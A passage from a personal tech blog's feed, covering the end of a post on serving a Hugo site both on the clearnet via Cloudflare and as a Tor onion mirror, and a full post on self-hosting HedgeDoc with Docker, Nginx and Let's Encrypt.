</span></span><span style="display:flex;"><span><span style="color:#a6e22e">title</span> = <span style="color:#e6db74">&#34;My Blog&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">&#34;PaperMod&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">enableRobotsTXT</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">pagination</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">pagerSize</span> = <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">defaultTheme</span> = <span style="color:#e6db74">&#34;auto&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showReadingTime</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showPostNavLinks</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showBreadCrumbs</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showCodeCopyButtons</span> = <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><p>I added per-environment overrides so I can build two outputs with different <code>baseURL</code>s:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/clearnet/hugo.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;https://blog.alipourimjourneys.ir/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># config/onion/hugo.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/&#34;</span>
</span></span></code></pre></div><hr>
<h2 id="4-dual-builds-clearnet--onion-and-one-command-deploy">4) Dual builds (clearnet + onion) and one-command deploy</h2>
<p>I publish the same content twice—once for each base URL and docroot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/hugo/mysite
</span></span><span style="display:flex;"><span><span style="color:#75715e"># clearnet build (served over HTTPS)</span>
</span></span><span style="display:flex;"><span>hugo --minify --environment clearnet -d public-clearnet
</span></span><span style="display:flex;"><span><span style="color:#75715e"># onion build (served via Tor)</span>
</span></span><span style="display:flex;"><span>hugo --minify --environment onion    -d public-onion
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
</span></span></code></pre></div><p>Helper script I use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo tee /usr/local/bin/build-both &gt;/dev/null <span style="color:#e6db74">&lt;&lt;&#39;EOF&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#!/usr/bin/env bash
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">set -euo pipefail
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">cd /srv/hugo/mysite
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment clearnet -d public-clearnet
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment onion    -d public-onion
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">sudo systemctl reload nginx
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">echo &#34;Deployed both at $(date)&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
</span></span><span style="display:flex;"><span>sudo chmod +x /usr/local/bin/build-both
</span></span></code></pre></div><p>While editing, I sometimes auto-rebuild on file save:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y entr
</span></span><span style="display:flex;"><span>cd /srv/hugo/mysite
</span></span><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
</span></span></code></pre></div><hr>
<h2 id="5-clearnet-behind-cloudflare--lets-encrypt-manual-dns-01">5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)</h2>
<p>Cloudflare is set to <strong>Full (strict)</strong>. I issued a public cert for <code>blog.alipourimjourneys.ir</code> using <strong>manual DNS-01</strong> (no API token):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo snap install --classic certbot
</span></span><span style="display:flex;"><span>sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
</span></span></code></pre></div><p>Certbot tells you to add a TXT record <code>_acme-challenge.blog.alipourimjourneys.ir</code>. Add it in Cloudflare DNS, verify with <code>dig</code>, then continue. Cert ends up at:</p>
<pre tabindex="0"><code>/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
</code></pre><p>Clearnet Nginx vhosts:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://blog.alipourimjourneys.ir</span>$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># HTTPS origin (behind Cloudflare)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># HSTS on clearnet only
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Strict-Transport-Security</span> <span style="color:#e6db74">&#34;max-age=31536000</span>; <span style="color:#f92672">includeSubDomains</span>; <span style="color:#f92672">preload&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Help Tor Browser discover the onion mirror (safe on clearnet)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Onion-Location</span> <span style="color:#e6db74">&#34;http://&lt;your-56-char&gt;.onion</span>$request_uri&#34; <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-clearnet</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><blockquote>
<p>Note: don’t add HSTS or HTTPS redirects to the <strong>onion</strong> vhost. Keep onion pure HTTP on localhost.</p></blockquote>
<hr>
<h2 id="6-troubleshooting-i-ran-into-and-fixes">6) Troubleshooting I ran into (and fixes)</h2>
<ul>
<li><strong>Tor unit confusion:</strong> <code>tor.service</code> is a tiny master; the real daemon is <code>tor@default</code>. Use that unit and verify config as <code>debian-tor</code>.</li>
<li><strong>Permissions:</strong> <code>HiddenServiceDir</code> must be owned by <code>debian-tor</code> and mode <code>700</code>.</li>
<li><strong>Mapping mismatch:</strong> If <code>HiddenServicePort 80 127.0.0.1:3301</code> is set, visit <code>http://&lt;onion&gt;/</code> (no <code>:3301</code>). If you set <code>HiddenServicePort 3301 127.0.0.1:3301</code>, you must use <code>http://&lt;onion&gt;:3301/</code>.</li>
<li><strong>Curl &amp; .onion:</strong> modern curl refuses <code>.onion</code> unless you use remote DNS via SOCKS:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">&#34;http://&lt;onion&gt;/&#34;</span>
</span></span></code></pre></div></li>
<li><strong>Two Nginx vhosts on the same port:</strong> I had a duplicate server on <code>127.0.0.1:3301</code> pointing somewhere else, which caused onion 404s. Keep only one (or mark one <code>default_server</code>).</li>
<li><strong>Regex in <code>server_name</code>:</strong> if you use it, write <code>server_name ~* \.onion$</code> (space after <code>~*</code>). I fixed an <code>invalid variable name</code> error caused by a missing space.</li>
<li><strong>PaperMod with old Hugo:</strong> upgraded to <strong>extended ≥ 0.146.0</strong>. Also updated <code>paginate</code> → <code>[pagination].pagerSize</code>.</li>
<li><strong>Snap confinement:</strong> Snap’s <code>hugo</code> couldn’t read <code>/srv</code> (<code>.../void: permission denied</code>). Switched to the tarball build in <code>/usr/local/bin</code>.</li>
</ul>
<hr>
<h2 id="7-not-secure-in-tor-browser">7) “Not secure” in Tor Browser?</h2>
<p>That message can appear because onion uses <strong>HTTP</strong>. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference <strong>clearnet</strong> resources (scan the built HTML for <code>http(s)://</code> links that aren’t your onion).</p>
<hr>
<h2 id="8-day-to-day-workflow">8) Day-to-day workflow</h2>
<ul>
<li>Create content:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo new posts/my-first-post.md  <span style="color:#75715e"># then set draft: false</span>
</span></span></code></pre></div></li>
<li>Publish both:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>build-both
</span></span></code></pre></div></li>
<li>(Optional) Auto on save:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
</span></span></code></pre></div></li>
<li>(Optional) Git push-to-deploy with a bare repo + post-receive hook that runs <code>build-both</code>.</li>
</ul>
<hr>
<h2 id="final-notes">Final notes</h2>
<ul>
<li>Clearnet gets <strong>HTTPS + HSTS</strong> and an <code>Onion-Location</code> header.</li>
<li>Onion gets <strong>no HSTS/redirects</strong>, and all assets are self-hosted to avoid mixed content.</li>
<li>Serving both worlds from one Hugo repo is easy: <strong>two builds, two vhosts, one workflow</strong>.</li>
</ul>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/tor_clearnet_blog.md">Markdown</a> ·
    <a href="/sources/posts/tor_clearnet_blog.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba&#43;znAc1rCWJuzwHe2Ih0aYsq7d
DMWRkpE9YTfQl/kSYpzlk96KCKv&#43;6lHQXqcPyq&#43;nQTDl/D7iCaOhb8Dog3W/2qN4
6G05f47EoiOJY&#43;G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD&#43;x4y4
UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
FwGfnomCwVwd5GpaP7LQdtP/a&#43;x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
slRx0&#43;P27gH&#43;CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC&#43;rZnHXPCdbsZ
TTiwtJ/jLLbX&#43;NfycW9qR6gVxloO35QA90AY7050tOgAsyH&#43;YUn&#43;Rtj2KVj91E0o
VzljG7RAly7yTe&#43;yxzC6OO&#43;iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
OrTnJ8fJqq&#43;XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
N6VbRTRfq2Vnp&#43;A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
=QlNw
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
  </pre>
</div>


]]></content:encoded></item><item><title>Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt</title><link>https://blog.alipour.eu/posts/hedge_doc/</link><pubDate>Fri, 29 Aug 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/hedge_doc/</guid><description>&lt;p>HedgeDoc is an open-source collaborative Markdown editor. Think &lt;em>Google Docs for Markdown&lt;/em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.&lt;/p>
&lt;hr>
&lt;h2 id="prerequisites">Prerequisites&lt;/h2>
&lt;ul>
&lt;li>A Linux server with &lt;strong>Docker&lt;/strong> and &lt;strong>Docker Compose&lt;/strong>&lt;/li>
&lt;li>A domain name pointing to your server (e.g. &lt;code>notes.alipourimjourneys.ir&lt;/code>)&lt;/li>
&lt;li>&lt;strong>Nginx&lt;/strong> installed for reverse proxying&lt;/li>
&lt;li>&lt;strong>Certbot&lt;/strong> for Let’s Encrypt certificates&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="1-create-the-project-directory">1. Create the project directory&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir ~/hedgedoc &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> cd ~/hedgedoc&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;hr>
&lt;h2 id="2-create-env">2. Create &lt;code>.env&lt;/code>&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-env" data-lang="env">&lt;span style="display:flex;">&lt;span>POSTGRES_PASSWORD&lt;span style="color:#f92672">=&lt;/span>ChangeThisStrongPassword
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HD_DOMAIN&lt;span style="color:#f92672">=&lt;/span>notes.alipourimjourneys.ir&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;p>Generate a strong password with:&lt;/p></description><content:encoded><![CDATA[<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p>
<hr>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li>
<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li>
<li><strong>Nginx</strong> installed for reverse proxying</li>
<li><strong>Certbot</strong> for Let’s Encrypt certificates</li>
</ul>
<hr>
<h2 id="1-create-the-project-directory">1. Create the project directory</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div>
<hr>
<h2 id="2-create-env">2. Create <code>.env</code></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword
</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div>
<p>Generate a strong password with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>openssl rand -base64 <span style="color:#ae81ff">32</span></span></span></code></pre></div>
<hr>
<h2 id="3-create-docker-composeyml">3. Create <code>docker-compose.yml</code></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">version</span>: <span style="color:#e6db74">&#34;3.9&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">postgres:16</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_USER</span>: <span style="color:#ae81ff">hedgedoc</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_PASSWORD</span>: <span style="color:#ae81ff">${POSTGRES_PASSWORD}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_DB</span>: <span style="color:#ae81ff">hedgedoc</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">db:/var/lib/postgresql/data</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">hedgedoc</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">quay.io/hedgedoc/hedgedoc:1.10.2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">db</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_DB_URL</span>: <span style="color:#ae81ff">postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_DOMAIN</span>: <span style="color:#ae81ff">${HD_DOMAIN}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_PROTOCOL_USESSL</span>: <span style="color:#e6db74">&#34;true&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_URL_ADDPORT</span>: <span style="color:#e6db74">&#34;false&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_PORT</span>: <span style="color:#e6db74">&#34;3000&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_EMAIL</span>: <span style="color:#e6db74">&#34;true&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">CMD_ALLOW_EMAIL_REGISTER</span>: <span style="color:#e6db74">&#34;false&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">uploads:/hedgedoc/public/uploads</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;127.0.0.1:3000:3000&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">uploads:</span></span></span></code></pre></div>
<p>Bring it up:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d</span></span></code></pre></div>
<hr>
<h2 id="4-get-a-lets-encrypt-certificate">4. Get a Let’s Encrypt certificate</h2>
<p>Request a cert with a <strong>DNS challenge</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email</span></span></code></pre></div>
<p>Add the TXT record certbot asks for, wait for DNS to propagate, then continue.<br>
Certificates will be in:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/etc/letsencrypt/live/notes.alipourimjourneys.ir/</span></span></code></pre></div>
<hr>
<h2 id="5-configure-nginx">5. Configure Nginx</h2>
<p>Create <code>/etc/nginx/sites-available/notes.alipourimjourneys.ir</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">notes.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">notes.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:3000</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span> $remote_addr;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">https</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Enable the config and reload Nginx:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx</span></span></code></pre></div>
<hr>
<h2 id="6-create-users">6. Create users</h2>
<p>Because we disabled self-registration, create accounts manually:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec hedgedoc ./bin/manage_users --add alice@example.com</span></span></code></pre></div>
<p>You’ll be prompted for a password.<br>
To reset a password later:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com</span></span></code></pre></div>
<hr>
<h2 id="7-done">7. Done!</h2>
<p>Visit <a href="https://notes.alipourimjourneys.ir">https://notes.alipourimjourneys.ir</a> and log in with the user you created. You now have your own collaborative Markdown editor 🎉</p>
<hr>
<p><strong>Extras:</strong></p>
<ul>
<li>Backups: dump the PostgreSQL database and save the <code>uploads</code> volume.</li>
<li>Upgrades: <code>docker pull quay.io/hedgedoc/hedgedoc:latest &amp;&amp; docker compose up -d</code>.</li>
<li>Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.</li>
</ul>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/hedge_doc.md">Markdown</a> ·
    <a href="/sources/posts/hedge_doc.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
